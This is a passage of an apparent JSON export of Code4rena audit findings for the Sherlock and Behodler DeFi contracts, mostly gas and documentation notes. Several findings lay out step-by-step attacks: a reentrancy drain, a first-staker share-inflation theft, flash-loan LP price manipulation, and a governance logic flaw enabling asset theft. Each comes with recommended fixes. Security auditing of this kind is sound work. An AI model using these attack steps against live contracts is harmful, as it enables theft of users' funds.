(Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Saving gas by used length"}, {"title": "Gas: Non-strict inequalities are cheaper than strict ones", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas: Non-strict inequalities are cheaper than strict ones"}, {"title": "`SherlockProtocolManager.sol`: `setMinActiveBalance()` and `forceRemoveByActiveBalance()` should be put behind a timelock", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/191", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "`SherlockProtocolManager.sol`: `setMinActiveBalance()` and `forceRemoveByActiveBalance()` should be put behind a timelock"}, {"title": "USDC is upgradeable: received amount should be calculated", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/188", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-sherlock-findings", "body": "USDC is upgradeable: received amount should be calculated"}, {"title": "10 ** 18 can be changed to 1e18 and save some gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "10 ** 18 can be changed to 1e18 and save some gas"}, {"title": "There is a deviation in the parameter value setting.", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/174", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "There is a deviation in the parameter value setting."}, {"title": "Many `protocolUpdate()` calls erase historic previousCoverage", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/171", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Many `protocolUpdate()` calls erase historic previousCoverage"}, {"title": "Incorrect comment about callback call", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/169", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Incorrect comment about callback call"}, {"title": "Bond price not controlled by Sherlock", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/166", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Bond price not controlled by Sherlock"}, {"title": "Implementation is not align with documentation #2", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/154", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Implementation is not align with documentation #2"}, {"title": "Gas in `SherlockClaimManager.sol:priceDisputed():`: a value used only once shouldn't get cached", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas in `SherlockClaimManager.sol:priceDisputed():`: a value used only once shouldn't get cached"}, {"title": "saving gas on reverted transactions", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/142", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "saving gas on reverted transactions"}, {"title": "yieldStrategyDeposit doesn't check that there is enough USDC to deposit", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/141", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "yieldStrategyDeposit doesn't check that there is enough USDC to deposit"}, {"title": "Gas: Using the logical NOT operator `!` is cheaper than a comparison to the constant boolean value `false`", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas: Using the logical NOT operator `!` is cheaper than a comparison to the constant boolean value `false`"}, {"title": "If condition can be removed from SherlockClaimManager.cleanUp function", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "If condition can be removed from SherlockClaimManager.cleanUp function"}, {"title": "Missing parameter check or confusing comment in function protocolRemove (SherlockProtocolManager.sol)", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/123", "labels": ["bug", "help wanted", "1 (Low Risk)"], "target": "2022-01-sherlock-findings", "body": "Missing parameter check or confusing comment in function protocolRemove (SherlockProtocolManager.sol)"}, {"title": "Gas: Consider making some constants as non-public to save gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas: Consider making some constants as non-public to save gas"}, {"title": "Gas: \"constants\" expressions are expressions, not constants. Use \"immutable\" instead.", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas: \"constants\" expressions are expressions, not constants. Use \"immutable\" instead."}, {"title": "Wrong user input check of incoming USDC when escalating claim", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Wrong user input check of incoming USDC when escalating claim"}, {"title": "Gas: `++i` costs less gas compared to `i++`", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Gas: `++i` costs less gas compared to `i++`"}, {"title": "Use of the reserved keyword `error` as a variable name", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Use of the reserved keyword `error` as a variable name"}, {"title": "tokenBalanceOfAddress of nftOwner becomes permanently incorrect after arbRestake", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/109", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "# Handle hyh # Vulnerability details ## Impact Sucessfull `arbRestake` performs `_redeemShares` for `arbRewardShares` amount to extract the arbitrager reward. This effectively reduces shares accounted for an NFT, but leaves untouched the `addressShares` of an `nftOwner`. As a result the `tokenBalanceOfAddress` function will report an old balance that existed before arbitrager reward was slashed away. This will persist if the owner will transfer the NFT to someone else as its new reduced shares value will be subtracted from `addressShares` in `_beforeTokenTransfer`, leaving the arbitrage removed shares permanently in `addressShares` of the NFT owner, essentially making all further reporting of his balance incorrectly inflated by the cumulative arbitrage reward shares from all arbRestakes happened to the owner's NFTs. ## Proof of Concept `arbRestake` redeems `arbRewardShares`, which are a part of total shares of an NFT: https://github.com/code-423n4/2022-01-sherlock/blob/main/contracts/Sherlock.sol#L673 This will effectively reduce the `stakeShares`: https://github.com/code-423n4/2022-01-sherlock/blob/main/contracts/Sherlock.sol#L491 But there is no mechanics in place to reduce `addressShares` of the owner apart from mint/burn/transfer, so `addressShares` will still correspond to NFT shares before arbitrage. This discrepancy will be accumulated further with arbitrage restakes. ## Recommended Mitigation Steps Add a flag to `_redeemShares` indicating that it was called for a partial shares decrease, say `isPartialRedeem`, and do `addressShares[nftOwner] -= _stakeShares` when `isPartialRedeem == true`. Another option is to do bigger refactoring, making stakeShares and addressShares always change simultaneously. "}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-sherlock-findings", "body": "No Transfer Ownership Pattern"}, {"title": "_isEscalateState Comment Improvement", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/95", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "_isEscalateState Comment Improvement"}, {"title": "Incorrect comparison for prevCoverage in startClaim()", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/94", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Incorrect comparison for prevCoverage in startClaim()"}, {"title": "Pause/unpause functions descriptions aren't fully correct ", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/90", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Pause/unpause functions descriptions aren't fully correct "}, {"title": "Implementation is not align with documentation", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/88", "labels": ["bug", "documentation", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "Implementation is not align with documentation"}, {"title": "Use return value of assignments to save gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Use return value of assignments to save gas"}, {"title": "Avoid unneeded SLOADs by caching values in memory", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Avoid unneeded SLOADs by caching values in memory"}, {"title": "updateYieldStrategy will freeze some funds with the old Strategy if yieldStrategy fails to withdraw all the funds because of liquidity issues", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/76", "labels": ["bug", "enhancement", "2 (Med Risk)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "updateYieldStrategy will freeze some funds with the old Strategy if yieldStrategy fails to withdraw all the funds because of liquidity issues"}, {"title": "Use structs instead of three mappings in Sherlock.sol", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/69", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Use structs instead of three mappings in Sherlock.sol"}, {"title": "Hardhat references in Manager.sol code", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/67", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Hardhat references in Manager.sol code"}, {"title": "Never-used ETH transfers in _sweep", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/66", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "Never-used ETH transfers in _sweep"}, {"title": "Reenterancy in `_sendSherRewardsToOwner()`", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/60", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "# Handle kirk-baird # Vulnerability details ## Impact This is a reentrancy vulnerability that would allow the attacker to drain the entire SHER balance of the contract. Note: this attack requires gaining control of execution `sher.transfer()` which will depend on the implementation of the SHER token. Control may be gained by the attacker if the contract implements ERC777 or otherwise makes external calls during `transfer()`. ## Proof of Concept See [_sendSherRewards](https://github.com/code-423n4/2022-01-sherlock/blob/main/contracts/Sherlock.sol#L442) ```solidity function _sendSherRewardsToOwner(uint256 _id, address _nftOwner) internal { uint256 sherReward = sherRewards_[_id]; if (sherReward == 0) return; // Transfers the SHER tokens associated with this NFT ID to the address of the NFT owner sher.safeTransfer(_nftOwner, sherReward); // Deletes the SHER reward mapping for this NFT ID delete sherRewards_[_id]; } ``` Here `sherRewards` are deleted after the potential external call is made in `sher.safeTransfer()`. As a result if an attacker reenters this function `sherRewards_` they will still maintain the original balance of rewards and again transfer the SHER tokens. As `_sendSherRewardsToOwner()` is `internal` the attack can be initiated through the `external` function `ownerRestake()` [see here.](https://github.com/code-423n4/2022-01-sherlock/blob/main/contracts/Sherlock.sol#L595) Steps to produce the attack: 1) Deploy attack contract to handle reenterancy 2) Call `initialStake()` from the attack contract with the smallest `period` 3) Wait for `period` amount of time to pass 4) Have the attack contract call `ownerRestake()`. The attack contract will gain control of the (See note above about control flow). This will recursively call `ownerRestake()` until the balance of `Sherlock` is 0 or less than the user's reward amount. Then allow reentrancy loop to unwind and complete. ## Tools Used n/a ## Recommended Mitigation Steps Reentrancy can be mitigated by one of two solutions. The first option is to add a reentrancy guard like `nonReentrant` the is used in `SherlockClaimManager.sol`. The second option is to use the checks-effects-interactions pattern. This would involve doing all validation checks and state changes before making any potential external calls. For example the above function could be modified as follows. ```solidity function _sendSherRewardsToOwner(uint256 _id, address _nftOwner) internal { uint256 sherReward = sherRewards_[_id]; if (sherReward == 0) return; // Deletes the SHER reward mapping for this NFT ID delete sherRewards_[_id]; // Transfers the SHER tokens associated with this NFT ID to the address of the NFT owner sher.safeTransfer(_nftOwner, sherReward); } ``` Additionally the following functions are not exploitable however should be updated to use the check-effects-interations pattern. - `Sherlock._redeemShares()` should do `_transferTokensOut()` last. - `Sherlock.initialStake()` should do `token.safeTransferFrom(msg.sender, address(this), _amount);` last - `SherClaim.add()` should do `sher.safeTransferFrom(msg.sender, address(this), _amount);` after updating `userClaims` - `SherlockProtocolManager.depositToActiveBalance()` should do `token.safeTransferFrom(msg.sender, address(this), _amount);` after updating `activeBalances` "}, {"title": "ISherlockGov.removeSherDistributionManager description is incorrect", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/56", "labels": ["bug", "documentation", "0 (Non-critical)"], "target": "2022-01-sherlock-findings", "body": "ISherlockGov.removeSherDistributionManager description is incorrect"}, {"title": "Function call can be done after required check.", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "Function call can be done after required check."}, {"title": "addressShares introduction made further shares accounting error prone", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-sherlock-findings", "body": "addressShares introduction made further shares accounting error prone"}, {"title": "`Sherlock.sol#_beforeTokenTransfer()` has not needed if statements", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "`Sherlock.sol#_beforeTokenTransfer()` has not needed if statements"}, {"title": "`SherDistributionManager.sol#slopeRewardsAvailable` can be calculated later to save gas", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "`SherDistributionManager.sol#slopeRewardsAvailable` can be calculated later to save gas"}, {"title": "first user can steal everyone else's tokens", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/39", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "# Handle egjlmn1 # Vulnerability details ## Impact A user who joins the systems first (stakes first) can steal everybody's tokens by sending tokens to the system externally. This attack is possible because you enable staking a small amount of tokens. ## Proof of Concept See the following attack: 1. the first user (user A) who enters the system stake 1 token 2. another user (user B) is about to stake X tokens 3. user A frontrun and transfer X tokens to the system via `ERC20.transfer` 4. user B stakes X tokens, and the shares he receives is: `shares = (_amount * totalStakeShares_) / (totalTokenBalanceStakers() - _amount);` `shares = (X * 1) / (X + 1 + X - X) = X/(X+1) = 0` meaning all the tokens he staked got him no shares, and those tokens are now a part of the single share that user A holds 5. user A can now redeem his shares and get the 1 token he staked, the X tokens user B staked, and the X tokens he `ERC20.transfer` to the system because all the money in the system is in a single share that user A holds. In general, since there is only a single share, for any user who is going to stake X tokens, if the system has X+1 tokens in its balance, the user won't get any shares and all the money will go to the attacker. ## Tools Used Manual code review ## Recommended Mitigation Steps Force users to stake at least some amount in the system (Uniswap forces users to pay at least `1e18`) That way the amount the attacker will need to ERC20.transfer to the system will be at least `X*1e18` instead of `X` which is unrealistic "}, {"title": "gas saving III", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-sherlock-findings", "body": "gas saving III"}, {"title": "safeApprove of openZeppelin is deprecated", "html_url": "https://github.com/code-423n4/2022-01-sherlock-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-sherlock-findings", "body": "safeApprove of openZeppelin is deprecated"}, {"title": "Gas in `FlashGovernanceArbiter.assertGovernanceApproved()`: `flashGovernanceConfig.asset` and `flashGovernanceConfig.amount` should get cached", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/336", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Gas in `FlashGovernanceArbiter.assertGovernanceApproved()`: `flashGovernanceConfig.asset` and `flashGovernanceConfig.amount` should get cached"}, {"title": "All the scxMinted is at risk of being burnt.(Limbo.sol)", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/335", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "All the scxMinted is at risk of being burnt.(Limbo.sol)"}, {"title": "Gas in `LimboDAO.seed()`: Avoiding a 2N for-loop for a N one", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Gas in `LimboDAO.seed()`: Avoiding a 2N for-loop for a N one"}, {"title": "Logic error in `burnFlashGovernanceAsset` can cause locked assets to be stolen", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/305", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle shw # Vulnerability details ## Impact A logic error in the `burnFlashGovernanceAsset` function that resets a user's `pendingFlashDecision` allows that user to steal other user's assets locked in future flash governance decisions. As a result, attackers can get their funds back even if they execute a malicious flash decision and the community burns their assets. ## Proof of Concept 1. An attacker Alice executes a malicious flash governance decision, and her assets are locked in the `FlashGovernanceArbiter` contract. 2. The community disagrees with Alice's flash governance decision and calls `burnFlashGovernanceAsset` to burn her locked assets. However, the `burnFlashGovernanceAsset` function resets Alice's `pendingFlashDecision` to the default config (see line 134). 3. A benign user, Bob executes another flash governance decision, and his assets are locked in the contract. 4. Now, Alice calls `withdrawGovernanceAsset` to withdraw Bob's locked asset, effectively the same as stealing Bob's assets. Since Alice's `pendingFlashDecision` is reset to the default, the `unlockTime < block.timestamp` condition is fulfilled, and the withdrawal succeeds. Referenced code: [DAO/FlashGovernanceArbiter.sol#L134](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L134) [DAO/FlashGovernanceArbiter.sol#L146](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L146) ## Recommended Mitigation Steps Change line 134 to `delete pendingFlashDecision[targetContract][user]` instead of setting the `pendingFlashDecision` to the default. "}, {"title": "LP pricing formula is vulnerable to flashloan manipulation", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/304", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle shw # Vulnerability details ## Impact The LP pricing formula used in the `burnAsset` function of `LimboDAO` is vulnerable to flashloan manipulation. By swapping a large number of EYE into the underlying pool, an attacker can intentionally inflate the value of the LP tokens to get more `fate` than he is supposed to with a relatively low cost. With the large portion of `fate` he gets, he has more voting power to influence the system's decisions, or even he can convert his `fate` to Flan tokens for a direct profit. ## Proof of Concept Below is an example of how the attack works: 1. Suppose that there are 1000 EYE and 1000 LINK tokens in the UniswapV2 LINK-EYE pool. The pool's total supply is 1000, and the attacker has 100 LP tokens. 2. If the attacker burns his LP tokens, he earns `1000 * 100/1000 * 20 = 2000` amount of `fate`. 3. Instead, the attacker swaps in 1000 EYE and gets 500 LINK from the pool (according to `x * y = k`, ignoring fees for simplicity). Now the pool contains 2000 EYE and 500 LINK tokens. 4. After the manipulation, he burns his LP tokens and gets `2000 * 100/1000 * 20 = 4000` amount of `fate`. 5. Lastly, he swaps 500 LINK into the pool to get back his 1000 EYE. 6. Compared to Step 2, the attacker earns a double amount of `fate` by only paying the swapping fees to the pool. The more EYE tokens he swaps into the pool, the more `fate` he can get. This attack is practically possible by leveraging flashloans or flashswaps from other pools containing EYE tokens. The `setEYEBasedAssetStake` function has the same issue of using a manipulatable LP pricing formula. For more detailed explanations, please refer to the analysis of the [Cheese Bank attack](https://peckshield.medium.com/cheese-bank-incident-root-cause-analysis-d076bf87a1e7) and the [Warp Finance attack](https://peckshield.medium.com/warpfinance-incident-root-cause-analysis-581a4869ee00). Referenced code: [DAO/LimboDAO.sol#L356](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/LimboDAO.sol#L356) [DAO/LimboDAO.sol#L392](https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/LimboDAO.sol#L392) ## Recommended Mitigation Steps Use a fair pricing formula for the LP tokens, for example, the one proposed by [Alpha Finance](https://blog.alphafinance.io/fair-lp-token-pricing/). "}, {"title": "Lack of access control on `assertGovernanceApproved` can cause funds to be locked", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/300", "labels": ["bug", "3 (High Risk)", "resolved"], "target": "2022-01-behodler-findings", "body": "Lack of access control on `assertGovernanceApproved` can cause funds to be locked"}, {"title": "Lack of access control in the `parameterize` function of proposal contracts", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/296", "labels": ["bug", "duplicate", "2 (Med Risk)", "resolved"], "target": "2022-01-behodler-findings", "body": "Lack of access control in the `parameterize` function of proposal contracts"}, {"title": "Gas in `TransferHelper.ERC20NetTransfer`: check if amount != 0 before transfer", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/290", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Gas in `TransferHelper.ERC20NetTransfer`: check if amount != 0 before transfer"}, {"title": "use multiple require() instead of &&", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "use multiple require() instead of &&"}, {"title": "Immutable variables", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/270", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "Immutable variables"}, {"title": "Gas in `FlashGovernanceArbiter.enforceTolerance()`: substractions that can't underflow should be unchecked", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/265", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved"], "target": "2022-01-behodler-findings", "body": "Gas in `FlashGovernanceArbiter.enforceTolerance()`: substractions that can't underflow should be unchecked"}, {"title": "Gas in `UniswapHelper.configure()`: require statements should be reordered to save gas on revert", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Gas in `UniswapHelper.configure()`: require statements should be reordered to save gas on revert"}, {"title": "Limbo, LimboDAO and FlashGovernanceArbiter events aren't indexed", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/249", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle hyh # Vulnerability details ## Impact No events in Limbo, LimboDAO and FlashGovernanceArbiter contracts are indexed, so their filtering is disabled, which makes it harder to programmatically use the system ## Proof of Concept Contract's events don't have indices: Limbo: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/Limbo.sol#L253-260 FlashGovernanceArbiter: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol#L22 LimboDAO: https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/LimboDAO.sol#L56-61 ## Recommended Mitigation Steps Consider adding the indices to the key parameters, first of all to the addresses of the tokens and accounts broadcasted "}, {"title": "dai already update on constructor", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/246", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "dai already update on constructor"}, {"title": "Use of _msgSender()", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/242", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Use of _msgSender()"}, {"title": "Consistently check account balance before and after transfers for Fee-On-Transfer discrepencies", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/237", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Wrong fateBalance bookkeeping for a user. Wrong fateCreated value emitted. ## Proof of Concept Taking into account the FOT is done almost everywhere important in the solution already. That's a known practice in the solution. However, it's missing here (see @audit-info tags): ``` File: LimboDAO.sol 383: function burnAsset(address asset, uint256 amount) public isLive incrementFate { 384: require(assetApproved[asset], \"LimboDAO: illegal asset\"); 385: address sender = _msgSender(); 386: require(ERC677(asset).transferFrom(sender, address(this), amount), \"LimboDAO: transferFailed\"); //@audit-info FOT not taken into account 387: uint256 fateCreated = fateState[_msgSender()].fateBalance; 388: if (asset == domainConfig.eye) { 389: fateCreated = amount * 10; //@audit-info wrong amount due to lack of FOT calculation 390: ERC677(domainConfig.eye).burn(amount);//@audit-info wrong amount due to lack of FOT calculation 391: } else { 392: uint256 actualEyeBalance = IERC20(domainConfig.eye).balanceOf(asset); 393: require(actualEyeBalance > 0, \"LimboDAO: No EYE\"); 394: uint256 totalSupply = IERC20(asset).totalSupply(); 395: uint256 eyePerUnit = (actualEyeBalance * ONE) / totalSupply; 396: uint256 impliedEye = (eyePerUnit * amount) / ONE;//@audit-info wrong amount due to lack of FOT calculation 397: fateCreated = impliedEye * 20; 398: } 399: fateState[_msgSender()].fateBalance += fateCreated; //@audit-info potentially wrong fateCreated as fateCreated can be equal to amount * 10; 400: emit assetBurnt(_msgSender(), asset, fateCreated);//@audit-info potentially wrong fateCreated emitted 401: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Check the balance before and after the transfer to take into account the Fees-On-Transfer "}, {"title": "UniswapHelper is open to manipulations on all chains whose id isn't 1", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/236", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor disputed"], "target": "2022-01-behodler-findings", "body": "UniswapHelper is open to manipulations on all chains whose id isn't 1"}, {"title": "Loss of precision in `purchasePyroFlan()`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/232", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Loss of precision in `purchasePyroFlan()`"}, {"title": "Flash loan price manipulation in `purchasePyroFlan()`", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/231", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "Flash loan price manipulation in `purchasePyroFlan()`"}, {"title": "UniswapHelper.buyFlanAndBurn is a subject to sandwich attacks", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/230", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-behodler-findings", "body": "UniswapHelper.buyFlanAndBurn is a subject to sandwich attacks"}, {"title": "Incorrect unlockTime can DOS withdrawGovernanceAsset", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/228", "labels": ["bug", "duplicate", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact unlockTime is set incorrectly ## Proof of Concept 1. Navigate to contract at https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/DAO/FlashGovernanceArbiter.sol 2. Observe the assertGovernanceApproved function ``` function assertGovernanceApproved( address sender, address target, bool emergency ) public { ... pendingFlashDecision[target][sender].unlockTime += block.timestamp; ... } ``` 3. Assume assertGovernanceApproved is called with sender x and target y and pendingFlashDecision[target][sender].unlockTime is 100 and block.timestamp is 10000 then ``` pendingFlashDecision[target][sender].unlockTime += block.timestamp; // 10000+100=10100 ``` 4. Again assertGovernanceApproved is called with same argument after timestamp 10100. This time unlockTime is set to very high value (assume block.timestamp is 10500). This is incorrect ``` pendingFlashDecision[target][sender].unlockTime += block.timestamp; // 10100+10500=20600 ``` ## Recommended Mitigation Steps unlock time should be calculated like below ``` constant public CONSTANT_UNLOCK_TIME = 1 days; // example pendingFlashDecision[target][sender].unlockTime = CONSTANT_UNLOCK_TIME + block.timestamp; ``` "}, {"title": "Gas Optimization: Struct layout", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/222", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved"], "target": "2022-01-behodler-findings", "body": "Gas Optimization: Struct layout"}, {"title": "Gas savings", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "Gas savings"}, {"title": "Incorrect require statement", "html_url": "https://github.com/code-423n4/2022-01-behodler-findings/issues/213", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-behodler-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact ## Proof of Concept 1. Navigate to contract at https://github.com/code-423n4/2022-01-behodler/blob/main/contracts/UniswapHelper.sol 2. Observe the configure function which has below require condition ``` require(priceBoostOvershoot < 100, \"Set overshoot to number between 1 and 100.\"); ``` 3. This means priceBoostOvershoot can be set to 0 which contradicts the require statement message mentioning \"Set overshoot to number between 1 and 100.\" ## Tools Used ## Recommended Mitigation Steps Change the require condition to ``` require(priceBoostOvershoot < 100 && priceBoostOvershoot > 0, \"Set overshoot to number between 1 and 100.\"); ``` "}, {"title": "Unstake wont work if pending reward is 0", "html_url": 